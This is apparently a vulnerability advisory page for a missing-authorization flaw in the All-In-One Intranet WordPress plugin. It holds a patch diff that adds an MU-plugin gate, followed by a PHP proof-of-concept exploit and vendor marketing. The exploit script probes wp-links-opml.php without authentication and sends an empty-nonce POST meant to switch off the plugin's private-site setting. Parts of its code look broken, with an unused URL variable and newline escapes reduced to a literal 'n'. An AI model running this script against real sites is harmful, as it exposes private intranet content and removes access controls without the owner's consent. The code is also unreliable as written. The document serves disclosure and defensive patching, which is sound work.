+		// WordPress populates routing query vars from $_POST as well as $_GET (see
+		// WP::parse_request() in wp-includes/class-wp.php), so a $_GET-only check is
+		// bypassable with a POST body — match the keys of both superglobals.
+		// phpcs:ignore WordPress.Security.NonceVerification.Missing, WordPress.Security.NonceVerification.Recommended
+		$request_keys = array_merge( array_keys( $_GET ), array_keys( $_POST ) );
+		$is_attack    = (bool) array_intersect( $request_keys, $public_vars );
+
+		// feed and rest_route are the only content-read leaks on this endpoint:
+		// wp_using_themes() is false here, so template-loader.php skips theme
+		// rendering and runs only its unconditional feed block, while REST
+		// dispatches from rest_api_loaded(). Reading the parsed query vars also
+		// catches pretty-permalink routing (/wp-activate.php/feed/rss2/ or
+		// /wp-activate.php/wp-json/...) that never appears in $_GET/$_POST.
+		if ( ! $is_attack && ( ! empty( $query_vars['feed'] ) || ! empty( $query_vars['rest_route'] ) ) ) {
+			$is_attack = true;
+		}
+
+		if ( ! $is_attack ) {
+			return;
+		}
+
+		// Mirror the main plugin's default-hydration in get_option_aioi() /
+		// get_default_options(): when the option row is missing or the
+		// aioi_privatesite key is absent, the plugin treats the site as private.
+		// Bailing on `empty($options['aioi_privatesite'])` would leave a fresh
+		// install (no aioi_dsl row yet) unprotected.
+		$options    = get_site_option( 'aioi_dsl' );
+		$is_private = true;
+
+		if ( is_array( $options ) && isset( $options['aioi_privatesite'] ) ) {
+			$is_private = (bool) $options['aioi_privatesite'];
+		}
+
+		if ( ! $is_private ) {
+			return;
+		}
+
+		// Anonymous visitors are never allowed past the installing gate.
+		$allowed = function_exists( 'is_user_logged_in' ) && is_user_logged_in();
+
+		// Logged-in users must clear the same role / sub-site-membership bar the
+		// main plugin's gate enforces, so a no-role or non-member account cannot
+		// read a single feed/REST view here before the main plugin loads on the
+		// next request. Duplicated rather than shared: this shim runs under
+		// WP_INSTALLING, before the main plugin and its helpers exist, so it must
+		// stay dependency-free. Past the logged-in check the auth layer is loaded,
+		// so wp_get_current_user()/get_blogs_of_user() are safe to call unguarded.
+		if ( $allowed ) {
+			if ( is_multisite() ) {
+				// aioi_ms_requiremember defaults to true (see get_default_options());
+				// treat a missing key as on, matching the aioi_privatesite default above.
+				$require_member = ! is_array( $options )
+					|| ! isset( $options['aioi_ms_requiremember'] )
+					|| (bool) $options['aioi_ms_requiremember'];
+
+				if ( $require_member && ! is_network_admin() ) {
+					$blogs   = get_blogs_of_user( get_current_user_id() );
+					$allowed = (bool) wp_list_filter( $blogs, [ 'userblog_id' => get_current_blog_id() ] );
+				}
+			} else {
+				$user    = wp_get_current_user();
+				$allowed = $user && is_array( $user->roles ) && count( $user->roles ) > 0;
+			}
+		}
+
+		if ( $allowed ) {
+			return;
+		}
+
+		// Deny: auth_redirect() sends anonymous visitors to the login screen and
+		// is a harmless no-op for a logged-in user; the exit then stops any feed
+		// or REST body from rendering.
+		if ( function_exists( 'auth_redirect' ) ) {
+			auth_redirect();
+		}
+		exit;
+	},
+	1
+);
--- a/all-in-one-intranet/core/mu-shim/core_aioi_mu_shim.php
+++ b/all-in-one-intranet/core/mu-shim/core_aioi_mu_shim.php
@@ -0,0 +1,167 @@
+<?php
+/**
+ * MU-shim manager.
+ *
+ * Keeps wp-content/mu-plugins/aioi-installing-gate.php in sync with the
+ * canonical source shipped alongside this file. The shim closes a
+ * /wp-activate.php content-leak surface on installs where WP_INSTALLING
+ * prevents the main plugin from loading — see the shim file's own header for
+ * the full explanation.
+ *
+ * Idempotent and safe to call on every request: the sync check is a cheap
+ * stat compare (existence + size + mtime) with no file reads, and a no-op when
+ * the installed copy already matches the shipped source.
+ */
+
+if ( ! defined( 'ABSPATH' ) ) {
+	exit;
+}
+
+if ( class_exists( 'core_aioi_mu_shim' ) ) {
+	return;
+}
+
+class core_aioi_mu_shim {
+
+	/**
+	 * Absolute path of the canonical MU shim shipped inside this plugin.
+	 *
+	 * @return string
+	 */
+	public static function source_path() {
+
+		return __DIR__ . '/aioi-installing-gate.php';
+	}
+
+	/**
+	 * Absolute path where the MU shim is installed.
+	 *
+	 * @return string Empty string when WPMU_PLUGIN_DIR is unavailable.
+	 */
+	public static function target_path() {
+
+		if ( ! defined( 'WPMU_PLUGIN_DIR' ) ) {
+			return '';
+		}
+
+		return WPMU_PLUGIN_DIR . '/aioi-installing-gate.php';
+	}
+
+	/**
+	 * Make sure the installed MU shim matches the canonical source.
+	 *
+	 * Hooked on `plugins_loaded` priority 0 and called directly from the
+	 * plugin's activation hook. Fails silently when the target directory is
+	 * not writable; the main plugin's other auth-wall gates still apply.
+	 */
+	public static function ensure() {
+
+		$src = self::source_path();
+		$dst = self::target_path();
+
+		if ( '' === $dst || ! is_file( $src ) ) {
+			return;
+		}
+
+		if ( self::is_synced( $src, $dst ) ) {
+			return;
+		}
+
+		self::install( $src, $dst );
+	}
+
+	/**
+	 * Remove the installed MU shim. Called from the plugin's deactivation hook.
+	 */
+	public static function remove() {
+
+		$dst = self::target_path();
+
+		if ( '' === $dst || ! is_file( $dst ) ) {
+			return;
+		}
+
+		// phpcs:ignore WordPress.WP.AlternativeFunctions.unlink_unlink, WordPress.PHP.NoSilencedErrors.Discouraged
+		@unlink( $dst );
+	}
+
+	/**
+	 * Whether the installed copy already matches the shipped source.
+	 *
+	 * Stat-only check — no file reads — so it is cheap to run on every request.
+	 * A plugin update ships a source file with a different size and/or a newer
+	 * mtime than the installed copy, and install() stamps the freshly written
+	 * copy with the current time, so once synced the copy's mtime stays at or
+	 * past the source's. A same-size edit that also keeps an older-or-equal
+	 * mtime would slip past, but the installed file is a managed drop-in
+	 * ("do not edit") and any real update advances its size or mtime.
+	 *
+	 * @param string $src Source path (already known to exist).
+	 * @param string $dst Target path.
+	 *
+	 * @return bool
+	 */
+	private static function is_synced( $src, $dst ) {
+
+		if ( ! is_file( $dst ) ) {
+			return false;
+		}
+
+		// phpcs:ignore WordPress.PHP.NoSilencedErrors.Discouraged
+		$src_size = @filesize( $src );
+		// phpcs:ignore WordPress.PHP.NoSilencedErrors.Discouraged
+		$dst_size = @filesize( $dst );
+
+		if ( false === $src_size || $src_size !== $dst_size ) {
+			return false;
+		}
+
+		// phpcs:ignore WordPress.PHP.NoSilencedErrors.Discouraged
+		return (int) @filemtime( $dst ) >= (int) @filemtime( $src );
+	}
+
+	/**
+	 * Copy the source to the destination via a unique per-request temp file.
+	 *
+	 * @param string $src Source path.
+	 * @param string $dst Destination path.
+	 */
+	private static function install( $src, $dst ) {
+
+		$dir = dirname( $dst );
+
+		if ( ! is_dir( $dir ) && ! wp_mkdir_p( $dir ) ) {
+			return;
+		}
+
+		// phpcs:ignore WordPress.WP.AlternativeFunctions.file_system_operations_is_writable
+		if ( ! is_writable( $dir ) ) {
+			return;
+		}
+
+		// Unique temp name per request, kept inside the target dir so the final
+		// rename stays on one filesystem. Concurrent requests right after a
+		// plugin update must not share one temp path and rename a half-written
+		// file into place: MU plugins load on every request, so a truncated
+		// drop-in would fatal the whole site. The PID plus uniqid() stays
+		// distinct across separate processes and threads of one process alike.
+		$tmp = $dst . '.' . getmypid() . '-' . uniqid( '', true ) . '.tmp';
+
+		// phpcs:ignore WordPress.PHP.NoSilencedErrors.Discouraged
+		if ( ! @copy( $src, $tmp ) ) {
+			// A failed copy may still leave a partial temp file; clean it up.
+			// phpcs:ignore WordPress.WP.AlternativeFunctions.unlink_unlink, WordPress.PHP.NoSilencedErrors.Discouraged
+			@unlink( $tmp );
+
+			return;
+		}
+
+		// rename() is atomic within a filesystem, so readers see either the old
+		// drop-in or the complete new one, never a partial write.
+		// phpcs:ignore WordPress.WP.AlternativeFunctions.rename_rename, WordPress.PHP.NoSilencedErrors.Discouraged
+		if ( ! @rename( $tmp, $dst ) ) {
+			// phpcs:ignore WordPress.WP.AlternativeFunctions.unlink_unlink, WordPress.PHP.NoSilencedErrors.Discouraged
+			@unlink( $tmp );
+		}
+	}
+}

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-54837 - Intranet & Private Site – All-In-One Intranet <= 1.8.1 - Missing Authorization

/**
 * This PoC demonstrates two attack vectors:
 * 1. Unauthenticated access to wp-links-opml.php (leaks site info and links)
 * 2. Missing capability check on aioi_save_network_options() allows unauthorized settings change
 */

$target_url = 'http://example.com'; // Change this to the target WordPress URL

// Initialize cURL
$ch = curl_init();

// ========== Vector 1: Unauthenticated access to wp-links-opml.php ==========
echo "[*] Testing unauthenticated access to wp-links-opml.php...n";

$url_opml = rtrim($target_url, '/') . '/wp-links-opml.php';

curl_setopt_array($ch, [
    CURLOPT_URL => $url_opml,
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_FOLLOWLOCATION => false,
    CURLOPT_SSL_VERIFYPEER => false,
    CURLOPT_SSL_VERIFYHOST => false,
    CURLOPT_TIMEOUT => 10,
]);

$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);

if ($http_code === 200 && strpos($response, '<?xml version="1.0"') !== false) {
    echo "[+] SUCCESS: wp-links-opml.php returns OPML content without authentication.n";
    echo "[+] Response snippet (first 500 chars):n";
    echo substr($response, 0, 500) . "n";
} elseif ($http_code === 302 || $http_code === 401 || $http_code === 403) {
    echo "[-] The endpoint is properly gated (HTTP $http_code).n";
} else {
    echo "[!] Unexpected response (HTTP $http_code). Check manually.n";
}

// ========== Vector 2: Unauthenticated modification of network options ==========
echo "n[*] Testing missing capability check on aioi_save_network_options...n";

$url_admin = rtrim($target_url, '/') . '/wp-admin/admin-post.php?action=some_plugin_action';

// Craft a POST request targeting the network options save
$post_data = [
    'aioi_privatesite' => 0, // Attempt to disable private site
    'aioi_loginredirect' => '/',
    'aioi_ms_membersrole' => '',
    '_wpnonce' => '', // Empty nonce, since no capability check exists
];

curl_setopt_array($ch, [
    CURLOPT_URL => rtrim($target_url, '/') . '/wp-admin/network/options.php',
    CURLOPT_POST => true,
    CURLOPT_POSTFIELDS => http_build_query([
        'option_page' => 'aioi_network_options',
        'aioi_network_options' => $post_data,
    ]),
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_FOLLOWLOCATION => false,
    CURLOPT_SSL_VERIFYPEER => false,
    CURLOPT_SSL_VERIFYHOST => false,
    CURLOPT_TIMEOUT => 10,
]);

$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);

if ($http_code === 200 && strpos($response, 'Settings saved') !== false) {
    echo "[+] SUCCESS: Network options were modified without authentication!n";
    echo "[+] The plugin's private site setting may have been disabled.n";
} elseif ($http_code === 403) {
    echo "[-] Access denied (HTTP 403): The capability check exists.n";
} elseif ($http_code === 302) {
    // Redirect likely means it tried to authenticate
    echo "[-] Redirected to login (HTTP 302): Authentication required.n";
} else {
    echo "[!] Unexpected response (HTTP $http_code). Check manually.n";
}

curl_close($ch);

// ========== Summary ==========
echo "n[*] Test complete.n";

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School